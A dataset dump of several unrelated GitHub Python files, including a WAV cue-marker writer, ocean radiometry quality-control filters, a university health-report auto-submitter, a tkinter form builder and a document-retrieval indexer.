binarySound[index:index + 4]\n\n#Label Mood\n labelMood = listMarker.Label[0]\n index += 4\n labelMood.labelChunk = binarySound[index:index + 4]\n index += 4\n labelMood.size = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n labelMood.cuePointId = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n labelMood.label = binarySound[index : index + labelMood.GetActualLabelSize()]\n\n index = index + labelMood.GetActualLabelSize() \n\n#Label OASIS\n labelOasis = listMarker.Label[1]\n labelOasis.labelChunk = binarySound[index:index + 4]\n index += 4\n labelOasis.size = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n labelOasis.cuePointId = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n labelOasis.label = binarySound[index : index + labelOasis.GetActualLabelSize()]\n\n markChunk = CueMarkWaveChunk(2)\n markChunk.CueId = cueMarker\n markChunk.List = listMarker\n\n return markChunk.WriteToByteArray()\n\n\ndef PrintInfo(path):\n binarySound = bytearray()\n\n with open(path, 'rb') as f:\n binarySound = f.read()\n\n CueMarkerIndex = binarySound.find(CUE_MARKER)\n print(f'cue index: {CueMarkerIndex}')\n\n oasisIndex = binarySound.find(OASIS_MARKER)\n print(f'oasis index: {oasisIndex}')\n\n print(\"_______________\")\n\n\ndef ExtraOasisIdFromFile(path):\n fileName = os.path.basename(path)\n splitName = fileName.split(\"_\")\n if (splitName[0] == \"CI\"):\n return ''\n\n return splitName[len(splitName) - 1].split('.')[0]\n \n\ndef HasOasisMarkerAndIsCorrect(path):\n oasisFileId = ExtraOasisIdFromFile(path)\n if len(oasisFileId) < 1:\n return True \n\n binarySound = bytearray()\n\n with open(path, 'rb') as f:\n binarySound = f.read()\n\n OasisMarkerIndex = binarySound.find(OASIS_MARKER)\n if OasisMarkerIndex == -1:\n return False\n \n sizeIndex = OasisMarkerIndex - 8\n a = binarySound[sizeIndex: sizeIndex + 4]\n size = int.from_bytes(a, byteorder=\"little\")\n sizeNoOasis = size - 4 - 7\n OasisId = (binarySound[OasisMarkerIndex + 7: OasisMarkerIndex + 6 + sizeNoOasis]).decode('utf-8')\n\n isCorrect = OasisId == oasisFileId\n if isCorrect:\n return True\n else:\n return False\n \n\ndef CountInstancesOfMarkers(files, languageName):\n global Languages\n for file in files:\n if not HasOasisMarkerAndIsCorrect(file):\n lock.acquire()\n try:\n fileName = os.path.basename(file)\n Languages[languageName][LANGUAGES_MISSING_FILES].append(fileName)\n Languages[languageName][LANGUAGES_MISSING_FILES_COUNT] += 1\n finally:\n lock.release()\n\n\ndef LogMissingForLanguage(languagePath):\n languageName = os.path.basename(languagePath)\n print(f'Logging information {languageName} ...')\n\n Languages[languageName] = {}\n Languages[languageName][LANGUAGES_PATH] = languagePath\n Languages[languageName][LANGUAGES_MISSING_FILES] = []\n Languages[languageName][LANGUAGES_MISSING_FILES_COUNT] = 0\n\n waveFilesToCheck = [os.path.join(languagePath, file) for file in os.listdir(languagePath) if os.path.splitext(file)[1] == \".wav\"]\n split = 7\n portion_size = len(waveFilesToCheck) // split # // is floored divison\n portions = []\n portions.append(waveFilesToCheck[:portion_size])\n portions.append(waveFilesToCheck[portion_size:portion_size * 2])\n portions.append(waveFilesToCheck[portion_size * 2:portion_size * 3])\n portions.append(waveFilesToCheck[portion_size * 3:portion_size * 4])\n portions.append(waveFilesToCheck[portion_size * 4:portion_size * 5])\n portions.append(waveFilesToCheck[portion_size * 5:portion_size * 6])\n portions.append(waveFilesToCheck[portion_size * 6:])\n\n threads = []\n for x in range(split):\n thread = threading.Thread(target=CountInstancesOfMarkers, args=(portions[x], languageName, ))\n threads.append(thread)\n thread.start()\n\n for thread in threads:\n thread.join()\n\n\ndef LogMissingCueMarkers(waveFilePaths, logFile):\n foldersToSearch = [os.path.join(waveFilePaths, folder) for folder in os.listdir(waveFilePaths) if os.path.isdir(os.path.join(waveFilePaths, folder))]\n\n if len(foldersToSearch) < 1:\n LogMissingForLanguage(waveFilePaths)\n else:\n for languagePath in foldersToSearch:\n LogMissingForLanguage(languagePath)\n\n with open(logFile, \"w\") as file:\n json.dump(Languages, file)\n\n\ndef ReadBytesAsInt(binaryArray, index, size):\n return int.from_bytes(binaryArray[index:index + size], byteorder=\"little\")\n\n\ndef SaveMarkerToFile(cueMarkChunk, file, savePath):\n binarySound = bytearray()\n with open(file, 'rb') as f:\n binarySound = f.read()\n\n junkIndex = binarySound.find(bytearray(b'JUNK'))\n # junkSizeToRemove = 0\n # if junkIndex != -1:\n # fmtIndex = binarySound.find(bytearray(b'fmt '))\n # header = binarySound[:junkIndex]\n # junkSizeToRemove = int.from_bytes(binarySound[junkIndex + 4: junkIndex + 4 + 4], byteorder=\"little\") + 4 + 4 # here plus 4 to include JUNK and Size \n # binarySound = header + binarySound[fmtIndex:]\n\n binarySound += cueMarkChunk\n\n oldSizeInt = int.from_bytes(binarySound[4:8], byteorder=\"little\")\n oldSize = binarySound[4:8] # size for the file is at 4 at 4 bytes. \n \n newSize = len(binarySound) - 8\n newSizeBytes = newSize.to_bytes(4, byteorder=\"little\")\n binarySound = binarySound.replace(oldSize, newSizeBytes, 4)\n\n newPath = os.path.join(savePath, os.path.basename(file)) \n with open(newPath, 'wb') as f:\n f.write(binarySound)\n\n\ndef MakeMarkerByteArray(markers):\n numberOfMarkers = len(markers)\n markerChunk = CueMarkWaveChunk(numberOfMarkers)\n\n for x in range(numberOfMarkers):\n markerChunk.CueId.cuePoints[x].id = x + 1\n markerChunk.List.Label[x].cuePointId = x + 1\n markerChunk.List.Label[x].label = bytes(markers[x],'utf-8')\n \n return markerChunk.WriteToByteArray()\n\n\ndef WriteMarkersForFiles(files, path, savePath):\n for file in files:\n filePath = os.path.join(path, file)\n id = ExtraOasisIdFromFile(filePath)\n if len(id) > 1:\n oasisID = MakeMarkerByteArray([f'OasisID{id}'])\n SaveMarkerToFile(oasisID, filePath, savePath)\n\n\ndef ProcessAllMarkersForMissingFiles(savePath):\n\n for language in Languages:\n print(f'Writing markers for {language}')\n\n newFolderPath = os.path.join(savePath, language)\n if not os.path.exists(newFolderPath):\n os.mkdir(newFolderPath)\n \n filePath = Languages[language][LANGUAGES_PATH]\n filesToWrite = Languages[language][LANGUAGES_MISSING_FILES]\n\n split = 5\n portion_size = len(filesToWrite) // split # // is floored divison\n portions = []\n portions.append(filesToWrite[:portion_size])\n portions.append(filesToWrite[portion_size:portion_size * 2])\n portions.append(filesToWrite[portion_size * 2:portion_size * 3])\n portions.append(filesToWrite[portion_size * 3:portion_size * 4])\n portions.append(filesToWrite[portion_size * 4:])\n\n threads = []\n for x in range(split):\n thread = threading.Thread(target=WriteMarkersForFiles, args=(portions[x], filePath, newFolderPath, ))\n threads.append(thread)\n thread.start()\n\n for thread in threads:\n thread.join()\n \n\nif __name__ == \"__main__\":\n VoicesPath = sys.argv[1]\n UseLog = len(sys.argv) > 2\n\n print(VoicesPath)\n executionDir = os.path.dirname(__file__)\n\n missingFilePath = os.path.join(executionDir, MISSING_FILES_JSON)\n\n if not os.path.exists(missingFilePath) or not UseLog:\n print(f'Scanning for missing Cue Markers at: {VoicesPath}' )\n LogMissingCueMarkers(VoicesPath, MISSING_FILES_JSON)\n else:\n print(f'Loading missing files from JSON...')\n with open(missingFilePath, 'r') as file:\n Languages = json.load(file)\n\n print(\"____________\")\n\n processedFilePath = os.path.join(executionDir, \"ProcessedFiles\")\n if not os.path.exists(processedFilePath):\n os.mkdir(processedFilePath)\n \n ProcessAllMarkersForMissingFiles(processedFilePath)\n\n # VERIFY \n # print(\"____________\")\n # print(\"Verifying Processed Files...\")\n # Languages = {}\n # verifyFile = os.path.join(executionDir, \"Verification.json\")\n # LogMissingCueMarkers(processedFilePath, verifyFile)\n # print(\"____________\")\n ####### \n\n print()\n print(\"DONE\")\n print(\"____________\")\n\n#NOTES#\n# {\n# 'D:/Projects/NexusMain/project/NexusVR/WwiseProject/Audio_NexusVR_01/Originals/Voices/English(US)': 1301, \n# 'D:/Projects/NexusMain/project/NexusVR/WwiseProject/Audio_NexusVR_01/Originals/Voices/French(France)': 146075, \n# 'D:/Projects/NexusMain/project/NexusVR/WwiseProject/Audio_NexusVR_01/Originals/Voices/German': 0, \n# 'D:/Projects/NexusMain/project/NexusVR/WwiseProject/Audio_NexusVR_01/Originals/Voices/Spanish(Spain)': 0\n# }\n\n\n# structure of the cue and list chunk \n# first cue chunk with 2 data \n# then LIST \n# in list we\n\n# b'cue \n# 4\\x00\\x00\\x00\\ size, minus itself and 'cue ' \n# x02\\x00\\x00\\x00\\ number of cue points\n\n# x01\\x00\\x00\\x00\\ ID\n# x00\\x00\\x00\\x00 Position\n# data data\n# \\x00\\x00\\x00\\x00\\ chunk start\n# x00\\x00\\x00\\x00\\ block start\n# x00\\x00\\x00\\x00\\ sample Start\n\n# x02\\x00\\x00\\x00\\ ----\n# n\\x00\\x00\\x00\n# data\\\n# x00\\x00\\x00\\x00\\\n# x00\\x00\\x00\\x00\\\n# n\\x00\\x00\\x00\n\n# LIST List chunk\n# 0\\x00\\x00\\x00 size\n# adtl list typr\n\n# labl label \n# \\n\\x00\\x00\\x00\\ size, minus itself and labl. Meaning the size of the actual string is this -4 as cue point ID is calculated in.\n# x01\\x00\\x00\\x00 cue point ID\n# Mood:\\x00 \n\n# labl\\\n# x12\\x00\\x00\\x00\\\n# x02\\x00\\x00\\x00\n# OasisID260216\\x00'","repo_name":"Tronhjem/WaveHeaderManipulation","sub_path":"python/WriteWaveHeader.py","file_name":"WriteWaveHeader.py","file_ext":"py","file_size_in_byte":15081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"3940662112","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\nQuality control functions for monda So-Rad data download\n\nQuality control functions output a logical mask using convention:\n 1 == valid timestamp, 0 == not valid timestamp.\n\n------------------------------------------------------------------------------\n\nTom Jordan - tjor@pml.ac.uk - Feb 2022\n\"\"\"\n\nimport numpy as np\nimport datetime\nimport pandas as pd\n\n\n# sub routines\ndef wl_find(wl, target):\n \"Finds wavelength index nearest to target\"\n return np.argmin((np.array(wl)-target)**2)\n\n\ndef combined_filter(q_1, q_2):\n \"\"\"Combines 2 QC masks - tests for failures subject to logical OR condition\"\"\"\n\n q_combined = np.ones(len(q_1))\n for i in range(len(q_1)):\n if q_1[i] == 0 or q_2[i] == 0:\n q_combined[i] = 0\n\n return q_combined\n\n\ndef nearest(items, pivot):\n \"\"\"Sub function used to locate nearest values indicies in list x relative to a pivot - used within rolling variability \"\"\"\n\n nearest_value = min(items, key=lambda x: abs(x - pivot)) # finds nearest value\n nearest_index = items.index(min(items, key=lambda x: abs(x - pivot))) # finds nearest index\n\n return nearest_value, nearest_index\n\n\n# Filters used in QC of l and e spectra (Step 1 in 3C and FP chain)\ndef qc_lt_ed_filter(ed, lt, time, wl, threshold = 0.020):\n \"\"\"Funtion to filter by lt_ed ratio in NIR: basic implementation using absolute threshold defined in sr^-1 on [850, 950] nm\"\"\"\n\n lt_ed = np.divide(lt, ed)\n lambda_l = wl_find(800, wl)\n lambda_h = wl_find(950, wl)\n lw_ratio = np.nanmax(lt_ed[:,lambda_l:lambda_h], axis=1)\n\n q_ratio = np.ones(len(ed))\n q_ratio[lw_ratio > threshold] = 0\n\n return q_ratio\n\n\ndef qc_ed_filter(ed, min_ed_threshold = 500):\n \"\"\"Function to filter by the minimum (spectral max) ed value\"\"\"\n\n q_ed = np.ones(len(ed)) # qc\n spec_max_ed = np.nanmax(ed.T, 0) # spectral max for Ed\n q_ed[spec_max_ed < min_ed_threshold] = 0\n\n return q_ed\n\n\ndef qc_ls_filter(ls, wl, threshold = 1):\n \"\"\"Funtion to filter out ls spectra that are anomalously high in NIR\"\"\"\n\n lambda_1l = wl_find(550, wl) # central wavelength band\n lambda_1h = wl_find(580, wl)\n lambda_2l = wl_find(800, wl) # long wavelength band\n lambda_2h = wl_find(950, wl)\n\n ls_ratio = np.nanmax(ls[:,lambda_2l:lambda_2h], axis=1) / np.nanmax(ls[:,lambda_1l:lambda_1h], axis=1)\n\n q_ls = np.ones(len(ls)) # qc mask: 1=valid, 0=not valid\n q_ls[ls_ratio > threshold] = 0\n\n return q_ls\n\n\n# 3C-specific filtering (step 2 in 3C QC chain)\ndef qc_3cresidual(q_rad,resid,tol = 3):\n \"\"\"3C residual fliter based on standard deviation of daily rmsd ditribution that has\n already passed radiometric quality control. tol is a standard deviation multiple\n with 3*sigma set to default\"\"\"\n\n q_rad_3c = q_rad\n if np.sum(q_rad) > 0:\n resid_max = np.ones(len(q_rad))*(tol*np.nanstd(resid[q_rad==1]) + np.nanmean(resid[q_rad==1]))\n q_rad_3c[resid > resid_max] = 0\n\n return q_rad_3c\n\n\ndef qc_3c_rho_filter(rho_ds, rho_dd, rho_s, upperbound = 0.1):\n \"\"\"Function to remove 3C retreivals where rho factors terminate on upper optimzation bound\n (note: not strictly required for lower optimzation bound)\"\"\"\n\n q_rho3c = np.ones(len(rho_ds))\n\n q_rho3c[np.abs(rho_ds - upperbound) < 0.001] = 0\n q_rho3c[np.abs(rho_dd - upperbound) < 0.001] = 0\n q_rho3c[np.abs(rho_s - upperbound) < 0.001] = 0\n\n return q_rho3c\n\n\n# filters used in qc of Rrs spectra: Step 3 in 3C chain and 2 in FP chain)\ndef qc_SS_NIR_filter(wl, rrs, upperthreshold = 3, lowerthreshold = 0.5):\n \"\"\"Filter based on NIR similarity spectrum (reflectance ratio of 779 and 865 nm) in Ruddick et al. 2006.\"\"\"\n\n lambda779 = wl_find(wl, 779)\n lambda865 = wl_find(wl, 865)\n\n r779_865 = rrs[:,lambda779]/rrs[:,lambda865]\n\n q_ss = np.ones(len(rrs)) # qc mask: 1=valid, 0=not valid\n q_ss[r779_865 > upperthreshold] = 0\n q_ss[r779_865 < lowerthreshold] = 0\n\n return q_ss\n\n\ndef qc_rrs_maxrange(rrs, upperthreshold = 0.1, lowerthreshold = 0.0):\n \"\"\" Filter based on range of rrs maximum \"\"\"\n\n q_maxrange = np.ones(len(rrs))\n\n rrs_max = np.nanmax(rrs,axis=1)\n q_maxrange[rrs_max > upperthreshold] = 0\n q_maxrange[rrs_max < lowerthreshold] = 0\n\n return q_maxrange\n\n\ndef qc_rrs_min(rrs, wl):\n \"\"\" Replicates filtering step in FP processing that Rrs must be > 0 on [370,700] nm\n but applied to Rrs with offset included\"\"\"\n\n q_min = np.ones(len(rrs))\n\n lambda375 = wl_find(wl,375)\n lambda700= wl_find(wl,700)\n\n rrs_min = np.nanmin(rrs[:,lambda375:lambda700],axis=1)\n q_min[rrs_min < 0] = 0\n\n return q_min\n\n\n# optional filters (not currently applied in FP and 3C chain)\ndef rolling_variability(spectrum, timestamp ,window_time, wl_range):\n \"\"\" Sub funtion to calculate rolling spectral variability metrics based on z-score (std normalized spectra) and percentage differences (mean normalized spectra).\n Based on function in Groetsch et. al 2017\n\n # Work flow:\n # (i) converts timestamp and spectra to data frame format (indexed by timestamp, rows wavelengths)\n # (ii) calculates rolling mean and standrad deviations using dataframe method\n # (iii) re-references rolling mean/std to window center\n # (iv) computes rolling z-score and percentage difference metrics\n # Input - window size in minutes and l or e spectrum\n # Notes - data gaps in rolling mean/std are handled via linear interpolation (default setting of rolling functions in pandas)\n \"\"\"\n\n # (i) dataframe format\n window_time_secs = window_time*60 # converts to secs\n timeindex = [pd.Timestamp(timestamp[i]) for i in range(len(timestamp))] # converts to pandas format\n spectrum_DF = pd.DataFrame(spectrum,timeindex,columns = wl_range) # creates dataframe for spectum indexed by timestamp\n\n # (ii) Rolling means\n spectrum_Rmean = np.array(spectrum_DF.rolling(window=str(window_time)+'min').mean()) # rolling mean of spectrum\n spectrum_Rstd = np.array(spectrum_DF.rolling(window=str(window_time)+'min').std()) # rolling std of spectrum\n\n # (iii) Reference rolling mean and std to center of moving window (this is required as window center CANNOT be applied to ragged datetime index)\n timestamp_center = [timestamp[i]+datetime.timedelta(seconds=round(window_time_secs/2)) for i in range(len(timestamp))] # time-stamp shifted to window center\n spectrum_Rmean_centered = np.nan*np.ones([len(timestamp),len(wl_range)]) # centered versions of rolling mean and std\n spectrum_Rstd_centered = np.nan*np.ones([len(timestamp),len(wl_range)])\n for i in range(len(timestamp)):\n centertime = nearest(timestamp,timestamp_center[i]) # finds time and index of window center using nearest function\n centerindex = int(centertime[1]) # converts nearest index to int\n spectrum_Rmean_centered[i,:] = spectrum_Rmean[centerindex,:]\n spectrum_Rstd_centered[i,:] = spectrum_Rstd[centerindex,:]\n\n # (iv) Caculate moving z-score and percentage-differences\n pct_diff = np.nan*np.ones([len(timestamp),len(wl_range)]) # matrix for rolling percentage difference\n pct_diff_max = np.nan*np.ones(len(timestamp)) # spectral max of rolling pct difference\n pct_diff_mean = np.nan*np.ones(len(timestamp)) # spectral mean of rolling pct difference\n zscore = np.nan*np.ones([len(timestamp),len(wl_range)]) # matrix of (absolute) rolling z-score\n zscore_max =np.nan*np.ones(len(timestamp)) # spectral max of rolling z-score\n zscore_mean = np.nan*np.ones(len(timestamp)) # spectral mean of rolling z-score\n for i in range(len(timestamp)):\n pct_diff[i,:] = np.abs(100*(spectrum[i,:]-spectrum_Rmean_centered[i,:])/spectrum_Rmean_centered[i,:]) # rolling percentage difference\n pct_diff_max[i] = np.nanmax(pct_diff[i,:]) # spectral max\n pct_diff_mean[i] = np.nanmean(pct_diff[i,:]) # spectral mean\n zscore[i,:] = np.abs((spectrum[i,:]-spectrum_Rmean_centered[i,:])/spectrum_Rstd_centered[i,:]) # rollling absolute z-score\n zscore_max[i] = np.nanmax(zscore[i,:]) # spectral max\n zscore_mean[i] = np.nanmean(zscore[i,:]) # spectral mean\n\n return pct_diff_max, pct_diff_mean, zscore_max, zscore_mean\n\n\ndef qc_radiometric_variability(ed, lt, ls, time, wl, windowlength = 60, var_threshold = 1.1, var_metric = 'zscore_max'):\n \"\"\"Filters out local variability anomalie of input l and e spectra based on rolling\n variability metric (spectral maxium of absolute z-score as default) \"\"\"\n\n if var_metric == 'pct_diff_max':\n index = 0\n elif var_metric == 'pct_diff_mean':\n index = 1\n elif var_metric == 'zscore_max':\n index = 2\n elif var_metric == 'zscore_mean':\n index = 3\n\n ls_var = rolling_variability(ls, time, windowlength, wl)[index] # caculates rolling z-score (spectral maximum)\n lt_var = rolling_variability(lt, time, windowlength, wl)[index] # can also select pct_diff_max pct_diff_mean, zscore_max, zscore_mean using\n ed_var = rolling_variability(ed, time, windowlength, wl)[index] # [0], [1], [3] indicies\n\n var_max = np.array([np.nanmax([ls_var[i], lt_var[i], ed_var[i]]) for i in range(len(ed))]) # takes `worst case variability metric' of 3 sensors\n\n q_var = np.ones(len(ed)) # qc mask: 1=valid, 0=not valid\n q_var[var_max > var_threshold] = 0\n\n return q_var\n\n\ndef qc_coastalwater_rrsfilter(rrs, wl):\n \"\"\"Rrs-shape based filter from Warren et al. 2019\"\"\"\n\n q_coastal = np.ones(len(rrs)) # qc mask: 1=valid, 0=not valid\n\n lambda_350 = wl_find(350,wl) # filter 1: remove mean rrs on [350, 400] nm < -0.0005 sr^-1\n lambda_400 = wl_find(400,wl)\n mean_rrs_350_400 = np.nanmean(rrs[:,lambda_350:lambda_400],axis=1)\n q_coastal[mean_rrs_350_400 < -0.0005] = 0\n\n lambda_800 = wl_find(800,wl) # filter 2: remove mean rrs on [800, 900] nm < -0.0005 sr^-1\n lambda_900 = wl_find(900,wl)\n mean_rrs_800_900 = np.nanmean(rrs[:,lambda_800:lambda_900],axis=1)\n q_coastal[mean_rrs_800_900 < -0.0005] = 0\n\n max_rrs = np.max(rrs,axis=1) # filter 3: remove max rrs > 0.015 sr^-1\n q_coastal[max_rrs > 0.015] = 0\n\n lambda_760 = wl_find(760,wl) # filter 4: oxygen band SNR filter - remove\n lambda_770 = wl_find(770,wl) # local peak intensities on [760, 770] nm that\n lambda_560 = wl_find(560,wl) # are > 10 % of the green rrs peak\n lambda_600 = wl_find(600,wl)\n NIR_peak = np.max(rrs[:,lambda_760:lambda_770],axis=1) - np.min(rrs[:,lambda_760:lambda_770],axis=1)\n green_peak = np.max(rrs[:,lambda_560:lambda_600],axis=1)\n q_coastal[NIR_peak/green_peak > lambda_600] = 0\n\n max_rrs_index = np.argmax(rrs,axis=1) # filter 5: remove case when peak rrs occurs > 600 nm\n lambda_600 = wl_find(600,wl)\n q_coastal[max_rrs_index > lambda_600] = 0\n\n return q_coastal\n","repo_name":"monocle-h2020/MONDA","sub_path":"src/monda/sorad/qc.py","file_name":"qc.py","file_ext":"py","file_size_in_byte":10810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"12894041978","text":"import json\n\nimport Settings\nimport Login\nimport EMailService\n\ndef exec(subject):\n conn = Login.login(subject)\n\n data = {\n \"ymtys\": \"0\", \n \"sfzx\": \"1\", \n \"tw\": \"2\", \n \"area\": bytes(Settings.province, 'utf-8') + b'\\x20' + bytes(Settings.city, 'utf-8') + b'\\x20' + \n bytes(Settings.area, 'utf-8'),\n \"city\": bytes(Settings.city, 'utf-8'),\n \"province\": bytes(Settings.province, 'utf-8'), \n \"address\": bytes(Settings.address, 'utf-8'), \n \"sfcyglq\": \"0\", \n \"sfyzz\": \"0\",\n \"qtqk\": \"\",\n \"askforleave\": \"0\"\n }\n\n result = conn.post(\n url=\"https://xxcapp.xidian.edu.cn/xisuncov/wap/open-report/save\",\n data=data\n )\n\n if result.status_code != 200:\n EMailService.send_email(subject + \"Error!\", \"Please check information you have entered. Status code: \" + result.status_code)\n else:\n try:\n result_json = json.loads(result.text)\n if result_json['e'] != 0:\n EMailService.send_email(subject + 'Error!', 'Error message: ' + str(result_json['e']) + '-' + result_json['m'])\n exit()\n else:\n EMailService.send_email(subject + \"Finished!\", \"Wow! The \" + subject + \" have finished successfully!\")\n except json.decoder.JSONDecodeError:\n exit()\n","repo_name":"weizhenhuan/xdu-dailyup","sub_path":"Runner.py","file_name":"Runner.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"14548429551","text":"import csv\n\n\ndef save_results(file_path, headers, data):\n \"\"\"Saves the data to the provided file path\"\"\"\n with open(file_path, 'w', newline='') as file:\n csv_writer = csv.writer(file)\n # Write titles\n csv_writer.writerow(headers)\n # Write Plasmons results\n csv_writer.writerows(data)\n","repo_name":"UBCO-COSC-499-Summer-2022/matlab-to-python-application-translation-project2-nrc","sub_path":"qeels/qeels/engine/results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"23684291020","text":"from tkinter import *\nfrom tkinter import ttk\nfrom tkcalendar import DateEntry\nimport json\n\ntab1_values = {}\n\n\ndef ele_row(elements, front_page):\n global tab1_values\n\n for ele in elements:\n if ele['type'] == 'label':\n if (ele['label'] == 'Main' or ele['label'] == 'Additional' or ele['label'] == 'Prior' or \"After\" == ele['label']):\n ttk.Label(front_page, text=ele['label'], foreground='blue',\n font=('Times', '16', 'bold italic')).grid(row=ele['row'])\n else:\n ttk.Label(front_page, text=ele['label'], foreground='blue',\n font=('Times', '24', 'bold italic')).grid(row=ele['row'])\n else:\n label = ttk.Label(front_page, text=ele['label']).grid(row=ele['row'], column=ele['column'], sticky=W,\n padx=20, pady=10)\n if ele['type'] == 'input':\n entry = ttk.Entry(front_page)\n entry.grid(row=ele['row'], column=ele['column'] + ele['col_gap'], sticky=W, padx=20)\n tab1_values[ele['id']] = entry\n elif ele['type'] == 'select':\n OPTIONS = []\n for d in range(0, 10):\n OPTIONS.append(d)\n variable = StringVar(front_page)\n variable.set(OPTIONS[0]) # default value\n entry = ttk.OptionMenu(front_page, variable, *OPTIONS)\n entry.grid(row=ele['row'], column=ele['column'] + ele['col_gap'])\n tab1_values[ele['id']] = variable\n elif ele['type'] == 'datetime':\n entry = DateEntry(front_page)\n entry.grid(row=ele['row'], column=ele['column'] + ele['col_gap'], sticky=W)\n # elif ele['type'] == 'checkbutton':\n # var1 = IntVar()\n # entry = Checkbutton(front_page, text=\"M\", variable=var1)\n # entry.grid(row=ele['row'], column=ele['column']+ele['col_gap'], sticky=W)\n # var2 = IntVar()\n # entry = Checkbutton(front_page, text=\"F\", variable=var2)\n # entry.grid(row=ele['row'], column=ele['column']+ele['col_gap'], sticky=W, columnspan=2)\n\n\n\ndef FirstPage(front_page):\n row = 1\n f = open('json/first_page.json', )\n elements = json.load(f)\n f.close()\n\n ele_row(front_page=front_page, elements=elements)\n row = row + 60\n return row\n","repo_name":"pureworldnew/pythontikinderui","sub_path":"first_page.py","file_name":"first_page.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"5749081868","text":"#Jacob Hodgson\r\n\r\nimport math\r\nimport sys\r\nimport os\r\nimport string\r\n\r\ndef main():\r\n\r\n doc_weight_scheme = 'tfidf'\r\n query_weight_scheme = 'tfidf'\r\n docs_to_index = \"lepanto.txt\"\r\n query_input = ''\r\n \r\n #handle arguments \r\n if len(sys.argv) <= 1 or len(sys.argv) > 2:\r\n print(\"Need single argument to specify Tokenization. Please write \\'true\\' or \\'false\\'\")\r\n exit(1)\r\n use_tokenizer = sys.argv[1]\r\n use_tokenizer = use_tokenizer.lower()\r\n if use_tokenizer != 'true' and use_tokenizer != 'false':\r\n print(\"Argument must be \\'true\\' or \\'false\\'\")\r\n exit(1)\r\n\r\n if use_tokenizer == 'false':\r\n print(\"Warning: Not using a Tokenizer can potentially lead to a decrease in accuracy and query terms including punctuation.\")\r\n else:\r\n print(\"here\")\r\n import nltk\r\n\r\n #Variables\r\n token_list = []\r\n stop_token_list = []\r\n stem_token_list = []\r\n recall_list = []\r\n total_words = 0\r\n unique_set = set()\r\n unique_single_doc_set = set()\r\n inverted_index = {}\r\n user_input = \"\"\r\n\r\n doc_id = 0\r\n total_docs = 0\r\n total_unique = 0\r\n doc_vec_length = []\r\n temp_doc_length = 0\r\n\r\n #Create an Inverted Index, with O(1) Lookup Time. A line is considered a document\r\n with open((docs_to_index), encoding=\"utf8\") as my_file:\r\n unique_single_doc_set = set()\r\n fileText = my_file.readlines()\r\n for line in fileText:\r\n recall_list.append(line)\r\n line = line.lower()\r\n inverted_index = indexDocument(line, inverted_index, doc_weight_scheme, query_weight_scheme, doc_id, use_tokenizer)\r\n doc_id += 1\r\n total_docs += 1\r\n\r\n #print(inverted_index)\r\n temp_counter = 0\r\n\r\n #Create a vector of document lengths for quicker calculations when taking user queries. \r\n with open(((docs_to_index)), encoding=\"utf8\") as my_file:\r\n fileText = my_file.readlines()\r\n for line in fileText:\r\n unique_single_doc_set = set()\r\n temp_doc_length = 0\r\n line = line.lower()\r\n if use_tokenizer == 'true':\r\n token_list = nltk.word_tokenize(line)\r\n else:\r\n token_list = line.split()\r\n #token_list = nltk.word_tokenize(line)\r\n stop_token_list = removeStopwords(token_list)\r\n stem_token_list = stemWords(stop_token_list)\r\n\r\n for token in stem_token_list:\r\n unique_single_doc_set.add(token)\r\n\r\n for token in unique_single_doc_set:\r\n #sqrt(sum of(tf*idf^2)\r\n #Euclidean Distance Calculation\r\n temp_doc_length += ((math.log(total_docs / inverted_index[token][0], 10) * inverted_index[token][1][temp_counter]) ** 2)\r\n temp_counter += 1 \r\n doc_vec_length.append(math.sqrt(temp_doc_length))\r\n\r\n total_unique = len(unique_set)\r\n \r\n while user_input != 'exit':\r\n user_input = input(\"Please enter a query. type \\'exit\\' to stop the program. \")\r\n user_input = user_input.lower()\r\n out_list = retrieveDocuments(user_input, inverted_index, doc_vec_length, doc_weight_scheme, query_weight_scheme, use_tokenizer)\r\n if not out_list and user_input != 'help' and user_input != 'exit':\r\n print(\"No matching documents, please try again. Type help for key insights\")\r\n elif user_input == 'help':\r\n print(\"Stop words are over-valued in a tfidf vector-space model due to their frequency. Queries with only stop words are unmatchable.\")\r\n print(\"Queries are formatted in a \\\"Bag of Words\\\" format meaning you can search any keywords you want in any order.\")\r\n print(\"There is no case-matching. Hello and hello are treated the same both in documents and queries.\")\r\n print(\"This program uses NLTK tokenization and PorterStemmer Stemming. \\n https://github.com/peterwilliams97/nlp-class/blob/master/pa7-ir-v2/python/PorterStemmer.py \\n https://www.nltk.org/api/nltk.tokenize.html\")\r\n print(\"Valid arguments are \\'true\\' and \\'false\\'. If no Tokenizer selected, expect lower program accuracy.\")\r\n for key, value in out_list.items():\r\n #print(str(line_counter+1) + ' ' + str(key+1) + ' ' + str(value) + '\\n')\r\n print(\"Did you mean?: \" + recall_list[key])\r\n break\r\n \r\n\r\n\r\n \r\n\r\ndef indexDocument(doc_string, inverted_index, doc_weight, query_weight, doc_id, use_tokenizer):\r\n if use_tokenizer == 'true':\r\n import nltk\r\n token_list = []\r\n stop_token_list = []\r\n stem_token_list = []\r\n total_words = 0\r\n unique_set = set()\r\n unique_single_doc_set = set()\r\n final_stem_token_list = []\r\n idf_dict = {}\r\n tf_dict = {}\r\n\r\n #Inverted Index will look like {\"Word\": [Doc_Count, {Doc_id: Term Frequency in Document, Doc_id: Term Frequency in Document, ... , Final Doc_id: Term Frequency in Document}]}\r\n doc_string = doc_string.lower()\r\n if use_tokenizer == 'true':\r\n token_list = nltk.word_tokenize(doc_string)\r\n else:\r\n token_list = doc_string.split()\r\n\r\n stop_token_list = removeStopwords(token_list)\r\n stem_token_list = stemWords(stop_token_list)\r\n final_stem_token_list += stem_token_list\r\n\r\n for token in stem_token_list:\r\n total_words += 1\r\n unique_set.add(token)\r\n unique_single_doc_set.add(token)\r\n\r\n for token in unique_single_doc_set:\r\n if token not in inverted_index:\r\n 